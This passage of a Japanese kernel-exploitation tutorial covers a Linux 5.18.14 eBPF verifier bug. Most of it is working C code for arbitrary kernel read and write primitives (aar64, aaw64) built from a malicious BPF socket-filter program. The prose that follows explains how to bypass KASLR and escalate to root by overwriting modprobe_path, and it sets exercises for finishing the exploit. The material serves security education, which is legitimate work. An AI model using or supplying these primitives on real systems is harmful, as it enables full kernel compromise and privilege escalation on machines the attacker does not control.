87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
/**
* 任意アドレス読み込み
*/
unsigned long aar64(int mapfd, unsigned long addr) {
char verifier_log[0x10000];
unsigned long val;

val = 1;
map_update(mapfd, 0, &val);

/* BPFプログラム */
struct bpf_insn insns[] = {
// R8 --> context
BPF_MOV64_REG(BPF_REG_8, BPF_REG_1),

// R0 --> &map[0]
BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x08, 0), // key=0
BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -8),
BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // map_lookup_elem(mapfd, &k)
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),
BPF_MOV64_REG(BPF_REG_9, BPF_REG_0),

// R1 --> var_off=(value=0; mask=0xffffffff00000000)
BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_9, 0),
BPF_ALU64_IMM(BPF_RSH, BPF_REG_1, 32),
BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32),
// R2 --> var_off=(value=0xfffffffe00000001; mask=0)
BPF_MOV64_IMM(BPF_REG_2, 0xfffffffe),
BPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 32),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, 1),
// R1 --> (s32_min=1, s32_max=0, u32_min=1, u32_max=0) / actual:1
BPF_ALU64_REG(BPF_OR, BPF_REG_1, BPF_REG_2),

// R2 --> (s32_min=0, s32_max=1, u32_min=0, u32_max=1) / actual:1
BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_9, 0),
BPF_JMP32_IMM(BPF_JLE, BPF_REG_2, 1, 2),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),

// R1 --> 0 / actual: 1
BPF_ALU64_REG(BPF_ADD, BPF_REG_1, BPF_REG_2),
BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),
BPF_ALU64_IMM(BPF_SUB, BPF_REG_1, 1),

// FP-0x18に有効なポインタを設置 (*)
BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_9, -0x18),

// R1 --> 1 / actual: 0x10
BPF_ALU64_IMM(BPF_MUL, BPF_REG_1, 0x10-1),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1),

// (*)で用意したスタック上のポインタを上書き(ALU sanitationの回避)
BPF_MOV64_IMM(BPF_REG_ARG2, 0), // arg2=offset (0)
BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP), // arg3=to (FP-0x20)
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x20),
BPF_MOV64_REG(BPF_REG_ARG4, BPF_REG_1), // arg4=len (1/0x10)
BPF_MOV64_REG(BPF_REG_ARG1, BPF_REG_8), // arg1=skb
BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),

// 書き換えられた(*)のポインタを取得
BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_FP, -0x18),

// 任意アドレス読み書きが可能
BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_0, 0), // 偽ポインタから読み込み

// リークしたデータをユーザー空間で受け取る
BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_1, -0x10),
BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP), // key
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x08),
BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP), // value
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x10),
BPF_MOV64_IMM(BPF_REG_ARG4, 0), // flag
BPF_EMIT_CALL(BPF_FUNC_map_update_elem), // map_update_elem

BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
};

/* ソケット用に設定 */
union bpf_attr prog_attr = {
.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
.insn_cnt = sizeof(insns) / sizeof(insns[0]),
.insns = (uint64_t)insns,
.license = (uint64_t)"GPL v2",
.log_level = 2,
.log_size = sizeof(verifier_log),
.log_buf = (uint64_t)verifier_log
};

/* BPFプログラムをロード */
int progfd = bpf(BPF_PROG_LOAD, &prog_attr);
if (progfd == -1) fatal("bpf(BPF_PROG_LOAD)");

/* ソケットを作成 */
int socks[2];
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks))
fatal("socketpair");
if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int)))
fatal("setsockopt");

/* ソケットを利用(BPFプログラムの発動) */
char payload[0x10];
*(unsigned long*)&payload[0] = 0x4141414141414141;
*(unsigned long*)&payload[8] = addr; // リークするアドレス
write(socks[1], payload, 0x10);

map_lookup(mapfd, 0, &val);
return val;
}

/**
* 任意アドレス書き込み
*/
unsigned long aaw64(int mapfd, unsigned long addr, unsigned long value) {
char verifier_log[0x10000];
unsigned long val;

val = 1;
map_update(mapfd, 0, &val);

/* BPFプログラム */
struct bpf_insn insns[] = {
// R8 --> context
BPF_MOV64_REG(BPF_REG_8, BPF_REG_1),

// R0 --> &map[0]
BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x08, 0), // key=0
BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -8),
BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // map_lookup_elem(mapfd, &k)
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),
BPF_MOV64_REG(BPF_REG_9, BPF_REG_0),

// R1 --> var_off=(value=0; mask=0xffffffff00000000)
BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_9, 0),
BPF_ALU64_IMM(BPF_RSH, BPF_REG_1, 32),
BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32),
// R2 --> var_off=(value=0xfffffffe00000001; mask=0)
BPF_MOV64_IMM(BPF_REG_2, 0xfffffffe),
BPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 32),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, 1),
// R1 --> (s32_min=1, s32_max=0, u32_min=1, u32_max=0) / actual:1
BPF_ALU64_REG(BPF_OR, BPF_REG_1, BPF_REG_2),

// R2 --> (s32_min=0, s32_max=1, u32_min=0, u32_max=1) / actual:1
BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_9, 0),
BPF_JMP32_IMM(BPF_JLE, BPF_REG_2, 1, 2),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),

// R1 --> 0 / actual: 1
BPF_ALU64_REG(BPF_ADD, BPF_REG_1, BPF_REG_2),
BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),
BPF_ALU64_IMM(BPF_SUB, BPF_REG_1, 1),

// FP-0x18に有効なポインタを設置 (*)
BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_9, -0x18),

// R1 --> 1 / actual: 0x10
BPF_ALU64_IMM(BPF_MUL, BPF_REG_1, 0x10-1),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1),

// (*)で用意したスタック上のポインタを上書き(ALU sanitationの回避)
BPF_MOV64_IMM(BPF_REG_ARG2, 0), // arg2=offset (0)
BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP), // arg3=to (FP-0x20)
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x20),
BPF_MOV64_REG(BPF_REG_ARG4, BPF_REG_1), // arg4=len (1/0x10)
BPF_MOV64_REG(BPF_REG_ARG1, BPF_REG_8), // arg1=skb
BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),

// 書き換えられた(*)のポインタを取得
BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_FP, -0x18),

// 任意アドレス読み書きが可能
BPF_MOV64_IMM(BPF_REG_1, value >> 32),
BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, value & 0xffffffff),
BPF_STX_MEM(BPF_DW, BPF_REG_0, BPF_REG_1, 0), // 偽ポインタへの書き込み

BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
};

/* ソケット用に設定 */
union bpf_attr prog_attr = {
.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
.insn_cnt = sizeof(insns) / sizeof(insns[0]),
.insns = (uint64_t)insns,
.license = (uint64_t)"GPL v2",
.log_level = 2,
.log_size = sizeof(verifier_log),
.log_buf = (uint64_t)verifier_log
};

/* BPFプログラムをロード */
int progfd = bpf(BPF_PROG_LOAD, &prog_attr);
if (progfd == -1) fatal("bpf(BPF_PROG_LOAD)");

/* ソケットを作成 */
int socks[2];
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks))
fatal("socketpair");
if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int)))
fatal("setsockopt");

/* ソケットを利用(BPFプログラムの発動) */
char payload[0x10];
*(unsigned long*)&payload[0] = 0x4141414141414141;
*(unsigned long*)&payload[8] = addr; // 書き換えるアドレス
write(socks[1], payload, 0x10);
}

kASLRの回避と権限昇格

今、マップのアドレスを持っているため、bpf_mapopsなどを指す偽のポインタを作ることで、カーネルのベースアドレスがリークできます。また、ベースアドレスが取れたらAAWでmodprobe_pathなどを書き換えて権限昇格できます。
各自でexploitを完成させましょう。exploitコードの例はここからダウンロードできます。


今回のバグではmin_value > max_valueという状況が作れたため、adjust_ptr_min_max_valsを悪用してBPFマップのアドレスをリークしました。
(1) BPFマップやBPFスタック、コンテキストのアドレスをリークせずにexploitを完成させてください。
(2) さらに、skb_load_bytesによるヒープオーバーフローを利用して(BPFスタックを使わずに)exploitを完成させてください。

  1. Linuxカーネルのバージョンは5.18.14です。 ↩︎

  2. スタックの範囲内だが、値の範囲外 ↩︎